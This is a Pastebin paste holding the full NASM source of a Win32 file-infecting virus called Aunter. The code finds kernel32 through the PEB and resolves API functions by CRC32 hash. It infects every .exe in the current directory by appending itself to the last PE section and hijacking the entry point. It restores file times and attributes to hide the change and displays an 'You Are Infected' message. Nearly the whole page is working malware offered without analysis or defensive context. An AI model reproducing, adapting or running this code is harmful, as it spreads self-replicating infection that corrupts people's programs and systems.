Advertisement
FlyFar

Aunter - NASM Win32 Virus Source Code

Mar 2nd, 2023
1,399
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASM (NASM) 11.29 KB | Cybersecurity | 0 0
  1. [BITS 32]
  2. %include "win32n.inc"
  3. virStart:
  4.         pushad
  5.         call CodeStart
  6. CodeStart:
  7.         pop ebp
  8.         sub ebp,CodeStart
  9.  
  10. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
  11. ;    Retrieve Kernel base                             ;
  12. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
  13.  
  14.     mov ebx, [fs : 0x30]   ; get a pointer to the PEB
  15.     mov ebx, [ebx + 0x0C]   ; get PEB->Ldr
  16.     mov ebx, [ebx + 0x14]   ; get PEB->Ldr.InMemoryOrderModuleList.Flink (1st entry)
  17.     mov ebx, [ebx]   ; 2nd Entry
  18.     mov ebx, [ebx]   ; 3rd Entry
  19.     mov ebx, [ebx + 0x10]   ; Get Kernel32 Base
  20.     mov [ebp+dwKernelBase] , ebx
  21.  
  22. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
  23. ;         Retrieve function addresses                     ;
  24. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
  25.  
  26.     sub esp , 68      ;save function addresses on the stack
  27.     mov ebx , esp
  28.     lea edi,[ebp+Kernel_APIs]
  29.     mov ecx,16
  30.     mov edx,[ebp+dwKernelBase]
  31.     push ebp
  32.     mov ebp , ebx
  33.     call RetrieveAPIs
  34.     pop ebp
  35.     lea edx,[ebp+szUser32]
  36.     push edx
  37.     call [ebx+36]
  38.     mov edx,eax
  39.     lea edi,[ebp+User_APIs]
  40.     xor ecx,ecx
  41.     inc ecx
  42.     push ebp
  43.     lea ebp , [ebx+64]
  44.     call RetrieveAPIs
  45.     pop ebp
  46.  
  47. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
  48. ;   Infection routine : Infect all files in the current directory          ;
  49. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
  50.  
  51. infectFirstFile:
  52.     sub esp,324
  53.     push esp
  54.     lea edx,[ebp+szExe]
  55.     push edx
  56.     call [ebx+16]
  57.     inc eax
  58.     jz endInfection
  59.     dec eax
  60.     mov dword [esp+320] , eax  ;save search handle
  61.  
  62. infectNextFile:
  63.     call infectFile
  64.     push esp
  65.     push dword [esp+324]
  66.     call [ebx+20]
  67.     test eax,eax
  68.     jnz infectNextFile
  69.  
  70. endInfection:
  71.     add esp,324
  72.  
  73. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
  74. ;             Main Payload            ;
  75. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
  76.  
  77.     push 0x10
  78.     lea edx,[ebp+szTitle]
  79.     push edx
  80.     lea edx,[ebp+szMsg]
  81.     push edx
  82.     push 0
  83.     call [ebx+64]
  84.     cmp dword [ebp+backToHost+1] , 'SiGs'  ;first generation ?
  85.     jne returnToHost
  86.     push 0
  87.     call [ebx+12]
  88.  
  89. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
  90. ;            Return to host           ;
  91. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
  92. returnToHost:
  93.     add esp , 68
  94.     popad
  95. backToHost:
  96.     push 'SiGs'
  97.     retn
  98. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
  99. ;    infectFile routine               ;
  100. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
  101.  
  102. infectFile:
  103.     sub esp,48
  104.     push ebp
  105.     lea ebp,[esp+4]  
  106.     mov edx , dword [ebp+52+WIN32_FIND_DATA.nFileSizeLow]
  107.     mov [ebp+0] , edx
  108.     mov [ebp+44] , edx
  109.     add dword [ebp+0] , virSize+1000h    ;fileSize+virSize+extra work space
  110.     lea esi , [ebp+52+WIN32_FIND_DATA.cFileName]
  111.     push esi
  112.     call [ebx+28]         ;save original attributes
  113.     mov [ebp+4] , eax
  114.     push dword 0x80
  115.     push esi
  116.     call [ebx+48]         ;set to normal , ie clear all attributes
  117.     xor edi,edi
  118.     push edi
  119.     push edi
  120.     push 3
  121.     push edi
  122.     push edi
  123.     push 0xC0000000
  124.     push esi
  125.     call [ebx+4]
  126.     inc eax
  127.     jz done
  128.     dec eax
  129.     mov dword [ebp+8] , eax
  130.     lea edx , [ebp+12]
  131.     push edx
  132.     add edx,8
  133.     push edx
  134.     add edx,8
  135.     push edx
  136.     push eax
  137.     call [ebx+32]
  138.     push edi
  139.     push dword [ebp+0]
  140.     push edi
  141.     push 4
  142.     push edi
  143.     push dword [ebp+8]
  144.     call [ebx+8]
  145.     mov [ebp+36] , eax
  146.     push dword [ebp]
  147.     push edi
  148.     push edi
  149.     push 2
  150.     push dword [ebp+36]
  151.     call [ebx+40]
  152.     mov esi,eax
  153.     mov edi,eax
  154.     mov [ebp+40] , eax
  155.     cmp word [esi] , 'MZ'
  156.     jne UnMap
  157.     cmp byte [esi+50h] , 't'    ;already infected ?
  158.     je UnMap
  159.     mov byte [esi+50h] , 't'    ;marked
  160.     add esi , [esi+0x3C]
  161.     cmp word [esi] , 'PE'
  162.     jne UnMap
  163.     mov ecx , esi      ;ecx points to start of pe header
  164.     movzx edx , word [esi+6]    ;no. of sections
  165.     dec edx
  166.     imul edx , 0x28
  167.     add esi , 0xF8
  168.     add esi , edx      ;esi points to header of the last section
  169.     add edi , [esi+14h]
  170.     add edi , [esi+8]     ;start copying virus at offset : map + pointerToRawData + virtualSize
  171.     or dword [esi+0x24] , 00000020h | 20000000h | 80000000h | 80h  ;set flags (writable , executable , etc)
  172.     add dword [esi+8] , virSize ;increase virtual size
  173.     mov edx , dword [esi+8]
  174.     mov dword [ecx+50h] , edx
  175.     mov edx , [esi+0xC]
  176.     add dword [ecx+50h] , edx
  177.     mov eax , dword [ecx+50h]
  178.     xor edx , edx
  179.     div dword [ecx+38h]
  180.     mov eax , [ecx+38h]
  181.     sub eax , edx
  182.     add dword [ecx+50h] , eax   ;new aligned SizeOfImage
  183.     xor edx,edx
  184.     mov eax , dword [esi+8]
  185.     div dword [ecx+3Ch]
  186.     mov eax , dword [ecx+3Ch]
  187.     sub eax , edx
  188.     push ecx
  189.     mov ecx, dword [esi+8]
  190.     mov dword [esi+10h] , ecx
  191.     add dword [esi+10h] , eax   ;new aligned SizeOfRawData
  192.     mov ecx , dword [esi+10h]
  193.     mov dword [ebp+44] , ecx    ;save new file size for later call to SetFilePointer
  194.     mov ecx , dword [esi+14h]
  195.     add dword [ebp+44] , ecx
  196.     pop ecx
  197.     mov eax , dword [esi+0xC]
  198.     add eax , dword [esi+8]
  199.     mov edx , dword [ecx+28h]   ;save OEP
  200.     add edx , dword [ecx+34h]   ;Add Image base to OEP
  201.     sub eax , virSize  
  202.     mov dword [ecx+28h] , eax   ;set new entry point
  203.     mov esi , virStart
  204.     add esi , dword [esp]
  205.     mov ecx , virSize
  206.     cld
  207.     rep movsb         ;copy virus
  208.     sub edi , virSize-(backToHost-virStart)-1
  209.     mov dword [edi] , edx      ;patch OEP
  210. UnMap:
  211.     push dword [ebp+44]
  212.     push dword [ebp+40]
  213.     call [ebx+24]        ;FlushViewOfFile
  214.     push dword [ebp+40]
  215.     call [ebx+60]        ;UnMapViewOfFile
  216.     push dword [ebp+36]
  217.     call [ebx]        ;Close Map Handle
  218.     lea edx , [ebp+12]
  219.     push edx
  220.     add edx,8
  221.     push edx
  222.     add edx,8
  223.     push edx
  224.     push dword [ebp+8]
  225.     call [ebx+56]        ;Restore original file time
  226.     push 0
  227.     push 0
  228.     push dword [ebp+44]
  229.     push dword [ebp+8]
  230.     call [ebx+52]        ;SetFilePointer
  231.     push dword [ebp+8]
  232.     call [ebx+44]        ;SetEndOfFile
  233.     push dword [ebp+8]
  234.     call [ebx]        ;Close File Handle
  235. done:
  236.     push dword [ebp+4]
  237.     lea edx , [ebp+52+WIN32_FIND_DATA.cFileName]
  238.     push edx
  239.     call [ebx+48]        ;Restore original attributes
  240.     pop ebp
  241.     add esp,48
  242.     ret
  243.  
  244. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
  245. ;                                    RetrieveAPIs                               ;
  246. ;  Parameters :  DLL base in edx , CRCs Offset in edi , No.of APIs in ecx , Offset to store at in ebp   ;
  247. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
  248.  
  249. RetrieveAPIs:
  250.     push ebx
  251.     push esi
  252.  
  253.     mov esi, edx
  254.     add esi, [esi+0x3C] ; Start of PE header
  255.     mov esi, [esi+0x78] ; RVA of export dir
  256.     add esi, edx     ; VA of export dir
  257.     push esi      ; [esp] = VA of export dir
  258.     mov esi, [esi+0x20] ; RVA of ENT
  259.     add esi, edx     ; VA of ENT
  260.     xor ebx,ebx
  261.     cld
  262.  
  263.     looper:
  264.         inc ebx
  265.         lodsd
  266.         add eax , edx       ;eax now points to the string of a function
  267.         call GenerateCRC       ;eax now holds the hash of our function
  268.         cmp dword [edi] , eax
  269.         jne looper
  270.         mov eax,[esp]
  271.         mov eax,[eax+0x24]     ;RVA of EOT
  272.         add eax,edx      ;VA of EOT
  273.         movzx eax , word [(ebx-1)*2+eax]   ;eax now holds the ordinal of our function
  274.         push esi
  275.         mov esi,[esp+4]
  276.         mov esi,[esi+0x1C]     ;RVA of EAT
  277.         add esi,edx      ;VA of EAT
  278.         mov esi,[eax*4+esi]
  279.         add esi,edx
  280.         mov [ebp] , esi     ;save address
  281.         pop esi
  282.         add edi,4
  283.         add ebp,4
  284.         dec ecx
  285.         jnz looper
  286.  
  287.     pop esi
  288.  
  289. finished:
  290.     pop esi
  291.     pop ebx
  292.     ret
  293.  
  294. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
  295. ;              GenerateCRC               ;
  296. ;  String in eax , returns Crc in eax            ;
  297. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
  298.  
  299. GenerateCRC:
  300.  
  301.     push ebx                ;ebx is the remainder , ie. the checksum.
  302.     push ecx                ;counter
  303.     or ebx,-1
  304.     byteByByte:
  305.         xor    bl , byte [eax]
  306.         push 8
  307.         pop ecx
  308.         bitByBit:
  309.             shr    ebx,1
  310.             jnc skip
  311.             xor    ebx,0xEDB88320       ;our polynomial
  312.             skip:
  313.             loop bitByBit
  314.         inc eax
  315.         cmp byte [eax],0
  316.         jnz byteByByte
  317.     mov eax,ebx
  318.     pop ecx
  319.     pop ebx
  320.     ret
  321.  
  322. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
  323. ;     Data          ;
  324. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
  325.  
  326.     szTitle:                    db                      "Oheii User :>",0
  327.     szMsg:                      db                      "~ You Are Infected ~",10,"~ RIP Ultras Ahlawy Martyrs ~",10,"~ Keep Safe ~",10,"~ GreeTz From SIGSEGV ~",0
  328.     szUser32:                   db                      "User32.dll",0
  329.     dwSearchHandle:             dd                      0
  330.     szExe:                      db                      "*.exe",0
  331.     dwKernelBase:               dd                      0
  332.     dwExportDirectory:          dd                      0
  333.     virSize                     equ                     virEnd-virStart
  334.  
  335. ;;;;;;;;;;;;;;;;;;;;;
  336. ;    APIS       ;
  337. ;;;;;;;;;;;;;;;;;;;;;
  338.  
  339.     Kernel_APIs:
  340.         ACloseHandleA:                          dd                                              0x4F6CEA0B
  341.         ACreateFileAA:                          dd                                              0xAAC4A387
  342.         ACreateFileMappingAA:                   dd                                              0x4BE46D93
  343.         AExitProcessA:                          dd                                              0xDAEF6833
  344.         AFindFirstFileAA:                       dd                                              0x36142A31
  345.         AFindNextFileAA:                        dd                                              0x8AD8D6B7
  346.         AFlushViewOfFileA:                      dd                                              0x68865B91
  347.         AGetFileAttributesAA:                   dd                                              0xCF9FE3E3
  348.         AGetFileTimeA:                          dd                                              0xC05002B5
  349.         ALoadLibraryAA:                         dd                                              0xC03E4272
  350.         AMapViewOfFileA:                        dd                                              0x5764C7D0
  351.         ASetEndOfFileA:                         dd                                              0xDAE64EA5
  352.         ASetFileAttributesAA:                   dd                                              0xEA9468FD
  353.         ASetFilePointerA:                       dd                                              0x1038158B
  354.         ASetFileTimeA:                          dd                                              0xDE7FB5FC
  355.         AUnmapViewOfFileA:                      dd                                              0xC6E54950
  356.     User_APIs:
  357.         AMessageBoxAA:                          dd                                              0xA8D2A271
  358. virEnd:
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement